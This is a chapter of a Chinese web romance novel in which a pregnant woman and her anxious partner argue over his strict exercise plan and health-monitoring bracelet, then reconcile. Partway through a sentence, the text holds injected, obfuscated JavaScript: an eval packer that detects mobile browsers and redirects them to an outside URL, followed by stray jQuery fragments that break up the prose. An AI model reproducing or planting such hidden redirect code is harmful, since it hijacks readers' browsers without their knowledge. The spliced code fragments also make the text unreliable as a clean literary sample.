第149章 路程骁开始变得更加小心翼翼

作品:《被阴湿少爷盯上了

    他说得平淡,叶清棠却听出了背后那不容有失的郑重。


    激素像最神奇的魔术师,悄悄改写着叶清棠的行为模式。


    那个曾经倔强、独立、甚至有些冷硬的叶清棠,开始变得……爱撒娇。


    不是刻意为之,而是一种近乎本能的依赖和索求。


    早晨起床,会闭着眼往他怀里钻,鼻音浓重地抱怨“困”;


    吃饭时,会指着远处的菜,软软地说“哥哥,那个”;


    看书累了,会直接把脚丫塞进他手里,理直气壮:“脚肿,揉揉。”


    最让路程骁招架不住的是夜里:


    她有时会突然醒来,也不说话,只是睁着湿漉漉的眼睛看着他。


    等他发现,凑过来问“怎么了”,她才小声嘟囔:


    “宝宝踢我了,睡不着。”


    然后整个人缩进他怀里,要他一下一下、耐心十足地抚着她的背,直到她重新入睡。


    路程骁对此照单全收,甚至乐在其中。


    他喜欢她这种毫无防备的依赖,喜欢她软着声音叫“哥哥”,喜欢她因为一点小事就撅起的嘴。


    这让他觉得,自己终于不再是那个只能带来伤害和压力的男人,而是可以被她全然信任和依靠的港湾。


    然而,平静之下总有波澜。


    孕五月,产检一切正常,医生建议可以适当增加散步和孕妇操。


    路程骁立刻如临大敌,制定了详细的“运动计划表”,精确到分钟。


    叶清棠起初还配合,可随着肚子越来越大,身体越发沉重,惰性也上来了。


    尤其是某个春雨绵绵的午后,她窝在沙发里看纪录片正入迷,路程骁却准时来“请”她下楼散步。


    “下雨呢,地上滑。”叶清棠抱着抱枕不想动。


    “雨停了,我看了雷达图。穿防滑鞋,我扶着你。”


    路程骁拿着她的外套,耐心十足。


    “我累,今天不想动嘛。”


    她开始耍赖,声音拖得长长的,带着不自觉的娇嗔。


    “昨天你也说累,前天也说累。医生说了,适量运动对你和孩子都好,后期生产也顺利。”


    路程骁不为所动,甚至搬出了权威。


    叶清棠心里的烦躁一下子被点燃了。


    她觉得自己像被他用数据和计划精心管理的“项目”,而不是一个有情绪、会累、想偷懒的活生生的人。


    “你就知道医生说!医生让你一天监测我八百遍心率了吗?医生让你连我打个哈欠都要分析是不是缺氧了吗?”


    她猛地坐起身,孕肚随着动作颤了颤,声音也拔高了,


    “路程骁,我是怀孕,不是生病!我有脑子,我知道什么对我好!你能不能别把我当个瓷娃娃,或者你那个破手环监控的物件?”


    路程骁眉头拧紧了。


    他最听不得她说“监控”“物件”这种词,仿佛否定了他的全部用心。


    “我不是监控你,我是担心你!”


    他也提高了音量,带着被误解的愠怒,


    “上次低血糖晕倒的事你忘了?万一再出意外呢?运动是为了增强你的体质,让你少受罪!你能不能别这么任性?”


    “我任性?”


    叶清棠气得眼圈都红了,


    “是,我任性!我任性到怀着你的孩子,还得按照你的时间表当机器人!我连累不累、想不想动的权利都没有了吗?你到底是在关心我,还是在满足你的控制欲?”


    “叶清棠!”


    路程骁低吼一声,额角青筋跳了跳。


    控制欲,又是控制欲。


    这个词像一根刺,永远横亘在他们之间。


    眼看争吵要升级,叶清棠忽然捂住肚子,脸色白了白。


    路程骁瞬间偃旗息鼓,所有怒火化为惊慌:


    “怎么了?肚子疼?还是宝宝……”


    叶清棠其实是气得有点抽筋,但看他瞬间变脸、紧张万分的模样,那口气又堵在胸口,上不去下不来。


    她扭过头,不再看他,眼泪却不受控制地掉下来。


    不是疼,是委屈。


    一种复杂的、无法言说的委屈。


    气他的**,也恼自己的无力,更恨这该死的激素让自己情绪失控,像个一点就着的炮仗。


    路程骁看着她微微颤抖的肩膀和无声滑落的眼泪,满心的焦躁和怒气像被针扎破的气球,一下子瘪了。


    他蹲下身,握住她的手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432045|200714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,声音低了下来,带着挫败和无奈:


    “别哭啊,糖糖,是我不好,我太着急了。我们不去了,今天不去了,好不好?你想看纪录片,我陪你。”


    叶清棠不理他,眼泪流得更凶。


    路程骁叹口气,用拇指轻轻擦去她的眼泪,动作笨拙又小心翼翼。


    “我不是想控制你,棠棠。”


    他声音沙哑,


    “我是怕……怕你再出一点意外。我输不起,真的。”


    最后几个字,他说得很轻,却重重砸在叶清棠心上。


    她想起那个没能来到世上的孩子,想起墓园里他沉默的背影,想起瑞士圣诞夜那堆积如山的、沉默的礼物。


    那股无明火,突然就烧尽了,只剩下深深的疲惫和一丝心软。


    她吸了吸鼻子,带着浓重的鼻音,瓮声瓮气地说:


    “那……那你抱我去窗边看看雨,算不算运动?”


    路程骁愣了下,随即眼底漾开一丝如释重负的柔和。


    他小心翼翼地将她打横抱起,像捧着易碎的珍宝,稳稳走到落地窗边。


    春雨细密,在玻璃上划出蜿蜒的水痕。


    远处楼宇朦胧,世界一片静谧的灰绿。


    叶清棠靠在他怀里,听着他沉稳的心跳,看着窗外的雨,忽然轻声说:


    “下次……跟我商量,行吗?别直接下命令。”


    路程骁收紧手臂,下巴蹭了蹭她的发顶。


    “好。”他应道,声音闷闷的,


    “商量。”


    一场因“运动”而起的争吵。


    叶清棠能明显感觉到来自路程骁的小心翼翼。


    或许是她的几次逃跑,让他害怕。


    他说话,做事,各种细节,都展现出他的害怕。


    而那条24小时监测着生命体征的手环,在之后的某一天,悄悄被叶清棠摘下来,戴在了路程骁的手腕上。


    “公平点,”她看着他惊讶的眼神,理直气壮,


    “你也让我监测监测。万一你气我气的血压升高呢?”


    路程骁看着腕上那略显女气的精致手环,哭笑不得,最终却只是无奈又纵容的,低头吻了吻她得意翘起的唇角。